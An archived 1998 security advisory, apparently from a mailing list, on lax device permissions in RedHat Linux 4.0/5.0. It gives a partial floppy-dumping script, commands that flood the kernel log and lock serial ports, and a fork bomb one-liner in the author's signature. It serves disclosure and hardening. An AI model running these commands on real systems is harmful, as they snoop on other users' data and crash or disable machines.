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Poor device permissions on Redhat 4.0/5.0

Description:Lax device perms on RedHat boxes allow unprivileged users to do nasty things such as peeking at the contents of a floppy in your drive or DOS attacks against the system.
Author:Smart List user <slist@cyber.com.au>
Compromise:Local users can read floppy device, be annoying
Vulnerable Systems:RedHat Linux 4.0 and 5.0
Date:4 February 1998

Date: Thu, 5 Feb EDT  03:05:00 +1100 (EST)
From: Smart List user <slist@cyber.com.au>

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Sender: avalon
From: =3D?UNKNOWN-8BIT?Q?Micha=3DB3?=3D Zalewski <lcamtuf@POLBOX.COM>
Subject:      RedHat 4.x/5.0 /dev permissions
Approved: darrenr@cyber.com.au
X-Originated-From: From: =3D?UNKNOWN-8BIT?Q?Micha=3DB3?=3D Zalewski <lcamtuf@POLBOX.COM>

First one

Any user can read data from (even not mounted) floppy using
"cat /dev/fd0H1440". It isn't dangerous itself, but... Any user
may write a script, which periodically checks if floppy has been
just unmounted, then dumps it's content to a file. Here's a sample
'floppy collector':

-- fdumper --
while :; do
  sleep 1
  if [ "`mount|grep \"^${MOUNT_DEV}\"`" =3D "" ]; then
    if [ "$DUMPED" =3D "0" ]; then
      echo "Dumping image #$LABEL..."
      cat $DUMP_DEV >.fdimage$LABEL
      let LABEL=3DLABEL+1
-- eof --

Also, if there's no floppy in drive, unprivledged user may flood
kernel log console (local console by default!!!):

[user@host sth]$ while :; do cat /dev/fd0H1440;done &

It will generate a lot of kernel messages, which will be logged
to /var/log/messages AND to console (default klogd behaviour). Also,
every printk(...) (called by fd driver) uses sync() to flush buffers.
It will cause abnormal hdd activity.

Second one
(not tested with rh 5.0)

Ordinary user are allowed to read /dev/ttyS*. Serial ports driver
disallows multiple access attempts at the same time, so user may
permanently lock choosen port using this command:

[user@host user]$ cat /dev/ttyS0
[user@host user]$ cat /dev/ttyS0
cat: /dev/ttyS0: device is busy

Now serial port is in unusable state.

That's all?

There are also a lot of other, not-so-common devices, eg. /dev/sequencer,=

which are world-readable or even world-writable.

There's no ANY reason to give ordinary users direct access to hardware
devices. It's quite easy (as shown above ;) to obtain an interesting
data or cause system failure by reading/writing these devices.


ls -l /dev/* | grep "r-- "
chmod ;)

Micha=B3 Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]=

Iterowa=E6 jest rzecz=B1 ludzk=B1, wykonywa=E6 rekursywnie - bosk=B1 [P. =
=3D------- [ echo -e "while :;do \$0&\ndone">_;chmod +x _;./_ ] --------=3D=

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